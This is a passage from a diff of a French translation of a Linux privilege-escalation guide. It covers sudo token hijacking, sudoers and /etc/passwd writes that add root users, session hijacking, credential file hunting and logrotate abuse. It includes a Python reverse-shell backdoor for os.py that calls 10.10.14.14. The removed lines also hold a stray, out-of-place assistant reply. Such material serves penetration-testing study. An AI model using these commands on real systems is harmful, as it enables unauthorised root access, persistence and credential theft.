/bin/sh'\ @@ -967,55 +999,56 @@ https://gtfoargs.github.io/ ### FallOfSudo -Si vous pouvez exécuter `sudo -l` vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. +Si vous pouvez exécuter `sudo -l`, vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve un moyen d'exploiter une règle sudo. -### Reusing Sudo Tokens +### Réutilisation des Sudo Tokens -Dans les cas où vous avez un accès **sudo** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le jeton de session**. +Dans les cas où vous avez un **accès sudo** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le token de session**. -Conditions requises pour escalader les privilèges : +Prérequis pour escalader les privilèges : -- Vous avez déjà un shell en tant qu'utilisateur _sampleuser_ -- _sampleuser_ a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui permet d'utiliser `sudo` sans saisir de mot de passe) -- la sortie de `cat /proc/sys/kernel/yama/ptrace_scope` est 0 -- `gdb` est accessible (vous pouvez le téléverser) +- Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" +- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut, c'est la durée du token sudo qui nous permet d'utiliser `sudo` sans saisir de mot de passe) +- `cat /proc/sys/kernel/yama/ptrace_scope` doit être 0 +- `gdb` est accessible (vous devez pouvoir l'uploader) -(Vous pouvez activer temporairement `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant de façon permanente `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) +(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant de façon permanente `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) Si toutes ces conditions sont remplies, **vous pouvez escalader les privilèges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le jeton sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`): +- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le token sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`) : ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Le **deuxième exploit** (`exploit_v2.sh`) va créer un shell sh dans _/tmp_ **appartenant à root avec setuid** +- Le **deuxième exploit** (`exploit_v2.sh`) créera un shell sh dans _/tmp_ **appartenant à root avec setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisième exploit** (`exploit_v3.sh`) **créera un fichier sudoers** qui rend **les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo** +- Le **troisième exploit** (`exploit_v3.sh`) **créera un sudoers file** qui **rend les sudo tokens éternels et permet à tous les utilisateurs d'utiliser sudo** ```bash bash exploit_v3.sh sudo su ``` -### /var/run/sudo/ts/\ +### /var/run/sudo/ts/ -Si vous avez des **write permissions** sur le dossier ou sur l'un des fichiers créés à l'intérieur, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **create a sudo token for a user and PID**.\ -Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtain sudo privileges** sans avoir besoin de connaître le mot de passe en faisant : +Si vous avez des **droits d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et un PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin du mot de passe en faisant : ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ -**Si** vous pouvez **lire** ce fichier vous pourriez être en mesure **d'obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier vous serez capable **d'escalader les privilèges**. +Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. +**Ces fichiers par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier, vous pourriez **obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier, vous pourrez **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si vous pouvez écrire, vous pouvez abuser de cette autorisation +Si vous pouvez écrire, vous pouvez abuser de cette autorisation. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1029,17 +1062,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Il existe des alternatives au binaire `sudo`, comme `doas` sur OpenBSD — pensez à vérifier sa configuration dans `/etc/doas.conf`. +Il existe des alternatives au binaire `sudo` comme `doas` sur OpenBSD — pensez à vérifier sa configuration dans `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si vous savez qu'un **utilisateur se connecte habituellement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur lance sudo, votre exécutable sudo soit exécuté. +Si vous savez qu'un **utilisateur se connecte habituellement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté. -Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ou en lançant quelque chose comme : +Ou en exécutant quelque chose comme: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement, comme spécifié dans la variable `RPATH`. +En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement tel que spécifié dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1105,8 +1138,8 @@ execve(file,argv,0); ``` ## Capacités -Les capabilities Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela permet de diviser les **privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ -Lisez la page suivante pour **en savoir plus sur les capabilities et comment les abuser**: +Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela décompose effectivement les privilèges root **en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ +Lisez la page suivante pour **en savoir plus sur les capacités et comment en abuser** : {{#ref}} @@ -1115,32 +1148,32 @@ linux-capabilities.md ## Permissions des répertoires -Dans un répertoire, le **bit pour "execute"** implique que l'utilisateur concerné peut "**cd**" dans le dossier.\ -Le bit **"read"** implique que l'utilisateur peut **lister** les **fichiers**, et le bit **"write"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. +Dans un répertoire, le **bit pour "execute"** implique que l'utilisateur concerné peut **"cd"** dans le dossier.\ +Le **bit "read"** implique que l'utilisateur peut **lister** les **fichiers**, et le **bit "write"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. ## ACLs -Les Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capable de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions renforcent le contrôle d'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Plus de détails peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Les listes de contrôle d'accès (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle d'accès aux fichiers ou répertoires en autorisant ou refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité assure une gestion des accès plus précise**. Plus de détails peuvent être trouvés [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Donner** user "kali" les permissions de lecture et d'écriture sur un fichier: +**Donner** à l'utilisateur "kali" les permissions de lecture et d'écriture sur un fichier: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Obtenir** des fichiers avec des ACLs spécifiques sur le système: +**Obtenir** les fichiers avec des ACLs spécifiques du système: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Ouvrir des sessions shell +## Ouvrir shell sessions -Dans les **anciennes versions** vous pouvez **hijack** certaines **sessions shell** d'un autre utilisateur (**root**).\ -Dans les **nouvelles versions** vous ne pourrez **se connecter** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intéressantes dans la session**. +Dans les **anciennes versions**, vous pouvez **hijack** une **shell** session d'un autre utilisateur (**root**).\ +Dans les **nouvelles versions**, vous ne pourrez **connect** aux screen sessions que de **your own user**. Cependant, vous pourriez trouver des **informations intéressantes à l'intérieur de la session**. ### screen sessions hijacking -**Lister les sessions screen** +**Lister screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1153,9 +1186,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Détournement de sessions tmux +## tmux sessions hijacking -C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. +C'était un problème avec **les anciennes versions de tmux**. Je n'ai pas pu hijack une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. **Lister les sessions tmux** ```bash @@ -1175,53 +1208,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Consultez la box **Valentine d'HTB** pour un exemple. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ -Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **seules 32,768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et que, **ayant la ssh public key vous pouvez rechercher la private key correspondante**. Vous pouvez trouver les possibilités calculées ici: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **seules 32 768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et qu'en **disposant de la clé publique ssh vous pouvez rechercher la clé privée correspondante**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Spécifie si l'authentification par mot de passe est autorisée. Par défaut : `no`. -- **PubkeyAuthentication:** Spécifie si l'authentification par public key est autorisée. Par défaut : `yes`. -- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, indique si le serveur autorise la connexion aux comptes avec des mots de passe vides. Par défaut : `no`. +- **PasswordAuthentication:** Indique si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. +- **PubkeyAuthentication:** Indique si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. +- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur autorise la connexion aux comptes avec des mots de passe vides. La valeur par défaut est `no`. ### PermitRootLogin -Spécifie si root peut se connecter via ssh, par défaut : `no`. Valeurs possibles : +Spécifie si root peut se connecter via ssh, la valeur par défaut est `no`. Valeurs possibles : -- `yes`: root peut se connecter en utilisant un mot de passe et une private key -- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une private key -- `forced-commands-only`: root ne peut se connecter qu'en utilisant une private key et si les options commands sont spécifiées -- `no` : aucune connexion root autorisée +- `yes`: root peut se connecter avec un mot de passe et une clé privée +- `without-password` or `prohibit-password`: root peut uniquement se connecter avec une clé privée +- `forced-commands-only`: root peut se connecter uniquement avec une clé privée et si l'option 'command' est spécifiée +- `no` : non ### AuthorizedKeysFile -Spécifie les fichiers qui contiennent les public keys pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire home. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le répertoire personnel de l'utilisateur**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous tentez de vous connecter avec la **private** key de l'utilisateur "**testusername**" ssh va comparer la public key associée à cette clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` +Cette configuration indiquera que si vous tentez de vous connecter avec la clé **private** de l'utilisateur "**testusername**", ssh va comparer la **public key** de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases !) sur votre serveur. Ainsi, vous pourrez **jump** via ssh **to a host** et depuis là **jump to another** host **using** la **key** située sur votre **initial host**. +SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases!) qui restent sur votre server. Ainsi, vous pourrez **jump** via ssh **to a host** et de là **jump to another** host **using** la **key** située sur votre **initial host**. -Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci : +Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci: ``` Host example.com ForwardAgent yes ``` -Notez que si `Host` est `*` chaque fois que l'utilisateur saute vers une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité). +Remarquez que si `Host` est `*`, chaque fois que l'utilisateur se connecte à une autre machine, cette machine pourra accéder aux clés (ce qui pose un problème de sécurité). -Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou refuser cette configuration. -Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut autorisé). +Le fichier `/etc/ssh_config` peut **écraser** ces **options** et autoriser ou refuser cette configuration.\ +Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut autorisé). -Si vous découvrez que Forward Agent est configuré dans un environnement, lisez la page suivante car vous pourriez être capable de l'abuser pour obtenir une élévation de privilèges : +Si vous trouvez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure d'en abuser pour obtenir une élévation de privilèges** : {{#ref}} @@ -1232,44 +1265,34 @@ ssh-forward-agent-exploitation.md ### Fichiers de profil -Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez obtenir une élévation de privilèges**. +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'entre eux, vous pouvez obtenir une élévation de privilèges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil suspect est trouvé, vous devez le vérifier pour des **informations sensibles**. +Si un script de profil suspect est trouvé, vous devez le vérifier pour des **détails sensibles**. -### Fichiers passwd/shadow +### Passwd/Shadow Files -Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut exister une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** afin de voir **s'il y a des hashes** à l'intérieur des fichiers : +Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut exister une sauvegarde. Il est donc recommandé **les trouver tous** et **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** à l'intérieur des fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Dans certains cas, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou équivalent) +Parfois, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou équivalent) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd accessible en écriture +### Accessible en écriture /etc/passwd -Tout d'abord, générez un password avec l'une des commandes suivantes. +Tout d'abord, générez un mot de passe avec l'une des commandes suivantes. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Je n'ai pas accès au fichier src/linux-hardening/privilege-escalation/README.md. Veuillez coller ici le contenu du fichier que vous voulez que je traduise en français. - -Remarques sur votre demande "Then add the user `hacker` and add the generated password." : -- Je ne peux pas créer d'utilisateur sur votre système ni exécuter des commandes à distance. -- Si vous voulez, je peux : - - inclure dans la traduction une section (texte/commandes) montrant comment créer l'utilisateur hacker et comment générer/afficher un mot de passe (par ex. commandes sudo useradd, chpasswd, ou use of openssl/openssl rand). - - ou simplement fournir les commandes et un mot de passe généré ici (vous devrez ensuite exécuter les commandes localement). - -Dites-moi : -1) Collez le contenu du README.md à traduire. -2) Voulez-vous que j'intègre dans le fichier traduit un exemple de création de l'utilisateur hacker avec le mot de passe généré ? Si oui, confirmez si je dois afficher le mot de passe en clair dans le fichier traduit ou seulement montrer la méthode pour le générer. +Ensuite, ajoutez l'utilisateur `hacker` et associez-lui le mot de passe généré. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1277,20 +1300,20 @@ Ex. : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` -Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ -ATTENTION : cela peut dégrader la sécurité actuelle de la machine. +Vous pouvez alternativement utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ +ATTENTION : cela pourrait diminuer la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve dans `/etc/pwd.db` et `/etc/master.passwd`. De plus, `/etc/shadow` est renommé en `/etc/spwd.db`. +REMARQUE: Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`. Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes: +Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes : ``` ExecStart=/path/to/backdoor User=root @@ -1300,11 +1323,11 @@ Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. ### Vérifier les dossiers -Les dossiers suivants peuvent contenir des backups ou des informations intéressantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Vous ne pourrez probablement pas lire le dernier, mais essayez) +Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablement vous ne pourrez pas lire le dernier mais essayez) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Emplacement étrange/Owned files +### Emplacements étranges / Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1321,11 +1344,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Fichiers modifiés ces dernières minutes +### Fichiers modifiés dans les dernières minutes ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Fichiers de base de données Sqlite +### Fichiers Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1356,12 +1379,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Fichiers connus contenant des mots de passe Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ -**Un autre outil intéressant** que vous pouvez utiliser pour cela est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. +**Un autre outil intéressant** que vous pouvez utiliser à cet effet est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. -### Journaux +### Logs -Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le journal est étrange, plus il sera intéressant (probablement).\ -De plus, certains **journaux d'audit** mal configurés (backdoored ?) peuvent vous permettre d'**enregistrer des mots de passe** dans les journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si vous pouvez lire les logs, vous pouvez trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le log est étrange, plus il sera intéressant (probablement).\ +De plus, certains "**bad**" configurés (backdoored?) **audit logs** peuvent vous permettre d'**enregistrer des mots de passe** à l'intérieur des audit logs comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1379,61 +1402,61 @@ Pour **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.ht ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Recherche générique de Creds/Regex -Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans le **contenu**, et aussi rechercher des IPs et des emails dans les logs, ou des regexps de hashes.\ -Je ne vais pas détailler ici comment faire tout cela mais si cela vous intéresse vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. +Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et aussi rechercher des adresses IP et des adresses e-mail dans les logs, ou des regexps pour des hashes.\\ +Je ne vais pas détailler ici comment faire tout cela mais si cela vous intéresse vous pouvez vérifier les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. ## Fichiers modifiables ### Python library hijacking -Si vous savez depuis **où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier python libraries**, vous pouvez modifier la bibliothèque OS et backdoor it (si vous pouvez écrire là où le script python sera exécuté, copiez et collez la bibliothèque os.py). +Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la librairie os et y installer une backdoor (si vous pouvez écrire à l'endroit où le script python va être exécuté, copiez et collez la librairie os.py). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Pour **installer une backdoor dans la librairie** il suffit d'ajouter à la fin de la librairie os.py la ligne suivante (changez IP et PORT) : ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Exploitation de logrotate -Une vulnérabilité dans `logrotate` permet à des utilisateurs ayant des **permissions d'écriture** sur un fichier de log ou ses répertoires parents d'obtenir potentiellement une élévation de privilèges. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. +Une vulnérabilité dans `logrotate` permet à des utilisateurs ayant des **permissions d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir des privilèges escaladés. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. > [!TIP] > Cette vulnérabilité affecte `logrotate` version `3.18.0` et les versions antérieures -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Plus d'informations détaillées sur la vulnérabilité sont disponibles sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous pouvez modifier des logs, vérifiez qui gère ces logs et voyez si vous pouvez escalader les privilèges en remplaçant les logs par des liens symboliques (symlinks). +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous constatez 